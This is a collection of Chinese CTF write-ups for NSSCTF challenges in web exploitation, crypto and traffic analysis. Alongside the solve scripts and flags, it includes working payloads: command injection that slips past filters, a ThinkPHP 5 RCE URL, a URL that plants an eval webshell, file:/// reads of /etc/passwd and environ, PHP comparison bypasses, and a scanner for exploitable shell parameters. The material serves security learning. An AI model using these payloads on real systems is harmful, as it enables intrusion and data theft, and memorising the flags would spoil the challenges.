[LitCTF 2023]导弹迷踪
知识点:js分析
看到题目提示要玩过6关才会有flag
结果老老实实的玩了6关出现了flag
另外还有一种方法就是查看js代码,多数网页游戏形式的flag都可以在js代码中找到,只是花费的时间有点多
NSSCTF{y0u_w1n_th1s_!!!}
[NSSCTF 2022 Spring Recruit]ezgame
知识点:js分析
依然是一个网页游戏
题目没有提示如何得到flag,但是查看源码就会发现flag怎么触发出现
要求猎兔得到65分就会给出flag,虽然是玩游戏拿分得flag,但是游戏玩到后面就有点难拿高分了
所以就f12看js代码找flag,结果是找到了
NSSCTF{34475e97-2094-4d79-9464-2706b88e8cf4}
[GXYCTF 2019]Ping Ping Ping
知识点:RCE+变量赋值
进入环境
根据题目及网页的信息知道该网页是可以使用ping的
随便ping一下
页面提示php可以执行系统函数,接着就使用命令试一下
发现flag.php文件
直接查看flag.php,cat flag.php
发现空格被过滤了
现在就要想办法绕过空格,绕过空格的方式有
同样空格也可以用%20来代替
结果得到
在查看index.php文件
0.0.0.0;cat$IFS$9index.php
查看源码得到真正的题目
源码中/.*f.*l.*a.g./只要匹配到这四个字符组合在一起就显示fxck your flag!
所以可以使用变量赋值的方法对flag进行加工,使其不会匹配到flag
0.0.0.0;q=g;cat$IFS$9fla$q.php(不只是可以对g进行加工,对flag都可以进行加工)
接着查看源码就可以得到flag
NSSCTF{3b2de89e-b1e5-4658-9d2d-3a8b59b7cfe1}
变量赋值参考:变量赋值_内部怎么给变量赋值-CSDN博客
[LitCTF 2023]Vim yyds
知识点:vim泄漏
进入环境,一般查看源码,没有什么有用的发现就去用工具扫
源码没有什么发现就去用dirsearch扫
发现有文件
访问.index.php.swp文件是要下载一个文件
文件打开是
看到有flag字样,而且是有php代码,但是顺序是乱的
关于 .swp 文件
.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。
在kali中
vim -r 文件名
就可以打开文件,查看难道题目源码
源码:
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
payload
很简单,只需要 POST 传参 password 等于字符串 “Give_Me_Your_Flag” base64 加密后的值即可。
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
拿到flag
NSSCTF{a9f20bb8-5ca1-4606-99ca-c01eb6f1d6dd}
[SWPUCTF 2022 新生赛]ez_rce
知识点:RCE
进入环境还是一样的查看源码,但是源码什么都没有,接着就开始使用工具去找题目信息
dirsearch扫目录
接着一个一个的访问
访问 /.gitignore 页面
发现 thinkphp,就可以想到关于thinkphp的漏洞
访问 /robots.txt 页面
发现目录:
/NSS/index.php/
访问 /NSS/index.php 页面
是 thinkphp,就去看关于thinkphp的漏洞
参考:https://www.cnblogs.com/lingzhisec/p/15728886.html
Think PHP 5 RCE漏洞复现及排查_thinkphp v5漏洞-CSDN博客
去找 5.0.x 版本的 payload
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat $(find / -name flag)
最终得到flag
NSSCTF{5f994a59-f7cd-4efc-bc2d-b00b6c11f424}
同样的可以使用一句话木马用蚁剑连接找到flag
http://node5.anna.nssctf.cn:28037/NSS/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=eval.php&vars[1][]=<?php eval($_POST['cmd']);?>
当前目录下写入了一个 eval.php 文件
以当前目录下写入的eval.php 文件连接
但是flag不在flag文件里,在nss文件里
NSSCTF{5f994a59-f7cd-4efc-bc2d-b00b6c11f424}
[GDOUCTF 2023]EZ WEB
知识点:HTTP协议
进入页面点击显示
接着查看源码,发现src
访问src
会让下载一个py文件
大致解读文件代码就是要求把GET参数更改为PUT,然后就是文件的路径
访问
/super-secret-route-nobody-will-guess 进行抓包修改数据
得到flag
[GDOUCTF 2023]<ez_ze>
知识点:Jinja2+SSTI
环境页面
查看源码点击文件提示后得到提示:请求无法访问
而且该ssti模板注入的参数是name
直接使用fenjing
然后ls查看文件
发现flag文件
接着查看内容得到flag
NSSCTF{dc07a756-9191-4757-b56d-afcfcba67c4d}
[HDCTF 2023]爬过小山去看云
知识点:HILL密码+CRYPTO
附件下载得到
题目分析:
- 小山 --> hill --> 希尔密码
- 直接使用在线网站解决即可,得到
yourpiniseightfourtwozeroeightfourtwoonezeroeighteightfourzerotwofourzeroeightfourzeroonezeroonetwofourx
仔细看一下后面是英文的一串数字
your pin is eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
转换成数字就是
842084210884024084010124
补充:
云影密码
密码原理
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。
解密脚本
a="842084210884024084010124"
s=a.split('0')
print(s)
l=[]
for i in s:
sum=0
for j in i:
sum+=eval(j)
l.append(chr(sum+64))
print(''.join(l))
解得flag
[HDCTF 2023]Math_Rsa
知识点:二次剩余+CRYPTO+RSA
补充:
二次剩余定理
简要定义:p是素数,a不是p的倍数且与一个平方数模p同余,则称a是模p的二次剩余,记作a∈QR。
例:22 ≡ 4 mod 13 ,a=4,p=13,称a是模13的二次剩余。不只有22,还有32,42…
同理,我们把不等于0也不是模p的二次剩余的数称为非二次剩余。记作a∈NR.
雅可比符号/勒让德符号:前提是p为奇素数
参考:RSA攻击之Rabin密码体制_michael o. rabin的加密方案-CSDN博客
附件下载打开
from Crypto.Util.number import *
from shin import flag
m=bytes_to_long(flag)
r=getPrime(1024)
assert r%4==3
p=getPrime(1024)
assert pow(p,(r-1)//2,r)==1
q=getPrime(1024)
e=65537
n=p*q
a=pow(p,2,r)
c=pow(m,e,n)
print(f"n = {n}")
print(f"r = {r}")
print(f"a = {a}")
print(f"c = {c}")
'''
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
'''
直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa
套用别人的exp
from Crypto.Util.number import *
import gmpy2
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
e=65537
p = 135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q = n // p
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
print(long_to_bytes(pow(c,d,n)).decode())
[HDCTF 2023]Normal_Rsa
知识点:RSA+素数分解
附件有flag
exp:
import random
import math
import libnum
import time
from Crypto.Util.number import bytes_to_long, long_to_bytes
# 设置模数
def GF(a):
global p
p = a
# 乘法取模
def g(a, b):
global p
return pow(a, b, p)
def AMM(x, e, p):
GF(p)
y = random.randint(1, p - 1)
while g(y, (p - 1) // e) == 1:
y = random.randint(1, p - 1)
print(y)
# p-1 = e^t*s
t = 1
s = 0
while p % e == 0:
t += 1
print(t)
s = p // (e ** t)
# s|ralpha-1
k = 1
while ((s * k + 1) % e != 0):
k += 1
alpha = (s * k + 1) // e
# 计算a = y^s b = x^s h =1
# h为e次非剩余部分的积
a = g(y, (e ** (t - 1)) * s)
b = g(x, e * alpha - 1)
c = g(y, s)
h = 1
#
for i in range(1, t - 1):
d = g(b, e ** (t - 1 - i))
if d == 1:
j = 0
else:
j = -math.log(d, a)
b = b * (g(g(c, e), j))
h = h * g(c, j)
c = g(c, e)
# return (g(x, alpha * h)) % p
root = (g(x, alpha * h)) % p
roots = set()
for i in range(e):
mp2 = root * g(a, i) % p
# assert(g(mp2, e) == x)
roots.add(mp2)
return roots
e = 65537
q = 6704006258427795304220450411280948926213189680360135534636452074716135019217911134480777251273836898349926894302122011679095979445240343891749741039976761
c = 2247027561636791381460194811205520085150851211795956750955965051548230844233212462525163107917067768507367576366327035846089534916090521357212722275045521111077106695721780943857231570836500588468487620819893688830570842176795906808347617421353983094639290979158413935035603633331786978227439155042365130799647385116773171906670409535157184391352888875130028955334874727206292146950544
mps = AMM(c, e, q)
for mpp in mps:
solution = str(long_to_bytes(mpp))
if 'HDCTF' in solution:
print(solution)
[HDCTF 2023]YamiYami
知识点:反序列化
三个链接分别是
看图一有 URL?=
这个应该是一个文件包含漏洞,我试着能不能访问其他文件
file://etc/passwd
发现了无法请求,应该是有过滤的代码,我们试着加多点/
file:///etc/passwd
访问成功了!!
但是我们看不到我们想要的答案,那我们读取一下变量环境,也就是init
file:///proc/1/environ
[GDOUCTF 2023]受不了一点
知识点:弱比较+数组绕过+PHP
题目源码
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
分析:
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
post方式传参,参数为ctf和gdou,要求ctf和gdou传入值的md5值相等,这里选择用数组绕过
payload:ctf[]=1&gdou[]=2
if ($_COOKIE['cookie']=='j0k3r'){
要求cookie传参的值为cookie=j0k3r
payload:cookie=j0k3r
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
get方式传参,传参参数为aaa和bbb,给定了相同的数值,但要求二者的值不相等,这里进行绕过,在任意一个114514后加一个字母
payload:aaa=114514&bbb=114514a
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag
payload:123=flag&flag=123
最后合并所有传参情况,得到最后的payload
GET:?aaa=114514&bbb=114514a&123=flag&flag=123
post:gdou[]=1&ctf[]=2
cookie=j0k3r
最后得到flag
NSSCTF{feffc26a-eb63-4f56-a9f5-a2d5d52b1332}
[SWPUCTF 2022 新生赛]奇妙的MD5
知识点:弱比较+数组+绕过PHP
进入环境
尝试了许多数都没有什么反应,查看源码也没有什么有用的信息
用bp抓包看一下,也没有什么有用的信息
dirsearch扫
扫了之后发现flag.php,但是访问没有反应
补充:
md5强比较,弱比较
强比较:使用三个 ''==='' 比较,比较值,也比较类型
弱比较:使用两个 ''=='' 比较,只比较值,不比较类型
a==b 将a,b的值转换成同类型再比较值
a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
相关口诀
数组绕过,0e绕过
QNKCDZO 240610708 常用
md5($a)==md5(md5($a))
0e215962017
MD5加密登录万能通用
ffifdyop
运用ffifdyop
看源码
传参,MD5值相等,选择数组绕过
?x[]=1&y[]=2
传入后Url多出一个后台,访问一下得到
post传参选则数组绕过
wqh[]=1&dsy[]=2
得到flag
[HNCTF 2022 Week1]Interesting_http
知识点:HTTP协议+Linux相关
一来就要post传参,查看源码也没有什么有用信息
虽然不知带参数,但是题目上的信息可以用来尝试,显示不是用户
want=flag
Cookies 是一种存储在用户计算机或手机浏览器中的小文件,它能够存储一些关于网站用户的信息。当用户在访问该网站时,该网站可以通过读取 Cookies 中的信息,实现一些个性化的功能,例如自动登录、记忆用户的设置和偏好、购物车中的商品等等。同时,Cookies 还可以用于网站数据跟踪和分析,帮助网站拼凑和分析用户行为以及提供更好的服务。
Cookies:user=admin
结果,提示没有位置即没有ip,那就弄一个代理得到flag
X-Forwarded-For头部的作用是记录用户的真实IP地址和代理服务器的IP地址。当用户通过代理服务器访问网站时,服务器只能获取到代理服务器的IP地址,而无法获取到用户的真实IP地址。通过使用X-Forwarded-For头部,代理服务器可以将用户的真实IP地址添加到HTTP请求的头部中,从而让服务器能够获取到用户的真实IP地址。
[HNCTF 2022 Week1]What is Web
知识点:源码泄露
进入环境直接查看源码就会发现flag的base64编码
直接解码的flag
NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}
[MoeCTF 2021]Web安全入门指北—小饼干
知识点:HTTP协议+COOKIE
题目提示HTTP请求
不是VIP
直接抓包改VIP直接就得到flag
NSSCTF{73c2c723-e393-4491-b43a-659c25a1f7f6}
[NCTF 2018]flask真香
知识点:SSTI+Flask
进入直接测试是否存在ssti注入问题
结果是存在的
直接上fenjing一把梭哈
python3 -m fenjing crack-path -u 'http://node4.anna.nssctf.cn:28042/'
直接拿flag
NSSCTF{1da5950e-5a6b-4188-8882-ce67a6b43351}
[鹤城杯 2021]easy_crypto
知识点:古典密码(社会主义核心价值观加密/解密)
附件
直接使用网站在线解密
[鹤城杯 2021]流量分析
知识点:流量分析+日志审计+脚本编写
打开附件是流量包
发现长度994的最多其次是978,但是追踪流发现存在SQL注入中的布尔盲注,注入成功的是978(因为994的流量比978的多很多,分析一下可以判断出978是注入成功的)
使用过滤语法 frame.len == 978 过滤长度为978的包 然后导出为文本一定要先过滤再导出 不然就会把全部的导出
直接搬用别人的脚本
import re
s = r"from%20t\),([0-9]*),1\)\)=([0-9]*)"
pat = re.compile(s)
f = open("timu.pcapng","rb")
st = f.read().decode("utf-8","ignore")
lis = pat.findall(st)
flag = ['' for i in range(1000)]
for t in lis:
flag[int(t[0])] = chr(int(t[1]))
for i in flag:
print(i,end="")
[鹤城杯 2021]A_MISC
知识点:密码爆破+流量分析+压缩包分析
压缩包解压密码破解
得到
需要密码
在010编辑器中更改图片宽度让隐藏的信息显示出来
https://pan.baidu.com/s/1cG2QvYy3khpQGLfjfbYevg
密码: cavb
下载到附件打开
分析流量包,发现存在sql注入流量
提取ASCII
码转字符串得到flag
102 108 97 103 123 99 100 50 99 51 101 50 102 101 97 52 54 51 100 101 100 57 97 102 56 48 48 100 55 49 53 53 98 101 55 97 113 125
[强网杯 2019]高明的黑客
进入环境
访问node4.anna.nssctf.cn:28705/www.tar.gz
下载文件
发现了三千多个php文件,打开几个文件,发现有可以传参的地方,尝试传参,但命令并没有被执行
这三千多文件里有一定能被利用的shell,于是编写脚本尝试
自己不会编写脚本只能使用大佬的了
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"F:phpstudy/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG
直接cat /flag